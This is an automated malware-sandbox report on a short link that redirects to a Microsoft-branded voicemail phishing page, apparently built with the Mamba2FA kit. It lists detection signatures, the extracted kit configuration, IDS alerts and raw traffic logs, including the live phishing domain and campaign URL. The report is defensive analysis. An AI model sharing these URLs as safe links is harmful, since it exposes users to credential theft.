Edit tour

Windows Analysis Report
https://t.ly/2jKWO

Overview

General Information

Sample URL:	https://t.ly/2jKWO
Analysis ID:	1540628
Infos:

Detection

HTMLPhisher, Mamba2FA

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Found malware configuration

Yara detected HtmlPhish10

Yara detected Mamba 2FA PaaS

AI detected landing page (webpage, office document or email)

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid 'forgot password' link found

Invalid T&C link found

Sample execution stops while process was sleeping (likely an evasion)

Script element or tag injection

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 3948 cmdline: "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --start-maximized "about:blank" MD5: B6CB00FCB81D3B66870817AEBE7163BB)

chrome.exe (PID: 1844 cmdline: "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --no-sandbox --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --start-stack-profiler --mojo-platform-channel-handle=2040 --field-trial-handle=1900,i,15553096423479836964,138704252807567035,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: B6CB00FCB81D3B66870817AEBE7163BB)

chrome.exe (PID: 2216 cmdline: "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" "https://t.ly/2jKWO" MD5: B6CB00FCB81D3B66870817AEBE7163BB)

EXCEL.EXE (PID: 5708 cmdline: "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 7428 cmdline: C:\Windows\splwow64.exe 8192 MD5: 77DE7761B037061C7C112FD3C5B91E73)

chrome.exe (PID: 5760 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1364 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1948,i,18141148504934150785,17011120280769576771,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

Threatname: Mamba2FA

{"sv": "o365_1_voice", "rand": "dHBDYVg=", "uid": "USER08102024U34100840"}

Yara Signatures

HTML

Source	Rule	Description	Author
1.1.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.2.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.0.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 1 entries

Sigma Signatures

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.246.60, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 5708, Protocol: tcp, SourceIp: 192.168.2.16, SourceIsIpv6: false, SourcePort: 49796

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.16, DestinationIsIpv6: false, DestinationPort: 49796, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 5708, Protocol: tcp, SourceIp: 13.107.246.60, SourceIsIpv6: false, SourcePort: 443

Suricata Signatures

ET PHISHING Javascript Browser Fingerprinting POST Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T00:26:44.274310+0200	2056643	2	Possible Social Engineering Attempted	192.168.2.16	49711	201.102.105.236	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://t.ly/2jKWO

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Found malware configuration

Source: 1.0.pages.csv

Malware Configuration Extractor: Mamba2FA {"sv": "o365_1_voice", "rand": "dHBDYVg=", "uid": "USER08102024U34100840"}

Phishing

AI detected phishing page

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N

LLM: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'new.alex-gps.com' does not match the legitimate domain for Microsoft., The domain 'alex-gps.com' does not have any known association with Microsoft., The presence of input fields like 'Email, phone or Skype' is typical for Microsoft services, but the domain mismatch is suspicious., The use of a subdomain 'new' and a different primary domain 'alex-gps.com' suggests potential phishing. DOM: 1.2.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Mamba 2FA PaaS

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N

Matcher: Template: microsoft matched

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N

HTTP Parser: Number of links: 0

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N

HTTP Parser: Title: Voice Mail does not match URL

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N

HTTP Parser: Invalid link: Forgot password?

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: Invalid link: Terms of use
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: Invalid link: Privacy & cookies
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: Invalid link: Terms of use
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: Invalid link: Privacy & cookies
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: Invalid link: Terms of use
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: Invalid link: Privacy & cookies

Source: https\://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N

JavaScript Tracing: HTML-tag "<script>" has been injected into the DOM within a string using HTMLHeadElement.insertAdjacentHTML("\x0a <meta charset="UTF-8">\x0a <meta http-equiv="X-UA-Compatible" content="IE=edge">\x0a ...");

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N

HTTP Parser: <input type="password" .../> found

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: No favicon
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: No favicon
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: No favicon

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: No <meta name="author".. found
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: No <meta name="author".. found
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: No <meta name="author".. found

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: No <meta name="copyright".. found
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: No <meta name="copyright".. found
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.23:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.1.33.206:443 -> 192.168.2.16:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.15.253:443 -> 192.168.2.16:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.84.254:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.254:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.254:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.69.254:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.69.254:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.16:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 152.199.19.161:443 -> 192.168.2.16:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.2.14.25:443 -> 192.168.2.16:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.44.254:443 -> 192.168.2.16:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.44.254:443 -> 192.168.2.16:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.140.56.69:443 -> 192.168.2.16:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.123.128.254:443 -> 192.168.2.16:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.123.128.254:443 -> 192.168.2.16:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49811 version: TLS 1.2

Source: Network traffic

Suricata IDS: 2056643 - Severity 2 - ET PHISHING Javascript Browser Fingerprinting POST Request : 192.168.2.16:49711 -> 201.102.105.236:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 13.226.184.17
Source: unknown	TCP traffic detected without corresponding DNS query: 13.226.184.17
Source: unknown	TCP traffic detected without corresponding DNS query: 13.226.184.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.173.207
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.173.207
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.173.207
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 152.195.19.97
Source: unknown	TCP traffic detected without corresponding DNS query: 152.195.19.97
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 152.195.19.97
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.17.24.14
Source: unknown	TCP traffic detected without corresponding DNS query: 104.17.24.14
Source: unknown	TCP traffic detected without corresponding DNS query: 104.17.24.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.114.95
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.114.95
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.114.95
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.116.94
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.116.94
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.116.94
Source: unknown	TCP traffic detected without corresponding DNS query: 13.226.184.17
Source: unknown	TCP traffic detected without corresponding DNS query: 13.226.184.17
Source: unknown	TCP traffic detected without corresponding DNS query: 13.226.184.17
Source: unknown	TCP traffic detected without corresponding DNS query: 13.226.184.17
Source: unknown	TCP traffic detected without corresponding DNS query: 13.226.184.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.173.207
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.173.207

Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8Vyx2J_yUZTKcv47OjJ_lQNlaCYqeh8SOiGiawnXT0TvFvxRmwfkcv63jai6G-68PkdQz0qjWRURdD69KjIEk_1WMoGqX2-nmHyARS_kIQQQ8jggfB8g6y3OxQgNbZ3cAxlKa5c6rbuh5modTsW2qcgj5aN-TT3fn/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_24_10_2_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N HTTP/1.1Host: new.alex-gps.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /m/jsv.js HTTP/1.1Host: new.alex-gps.comConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123NAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"Origin: https://new.alex-gps.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://new.alex-gps.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /m/jsv.js HTTP/1.1Host: new.alex-gps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /w3css/4/w3.css HTTP/1.1Host: www.w3schools.comConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://new.alex-gps.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: new.alex-gps.comConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123NAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://new.alex-gps.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://new.alex-gps.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://new.alex-gps.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://new.alex-gps.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /v1/pages/ChRDaHJvbWUvMTE0LjAuNTczNS45MBIlCeTcxo9Ema4-EgUNkWGVThIFDTWGVBwSBQ2RYZVOEgUNkWGVTg==?alt=proto HTTP/1.1Host: content-autofill.googleapis.comConnection: keep-aliveX-Goog-Encode-Response-If-Executable: base64X-Goog-Api-Key: dummytokenX-Client-Data: CIiPywE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://new.alex-gps.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
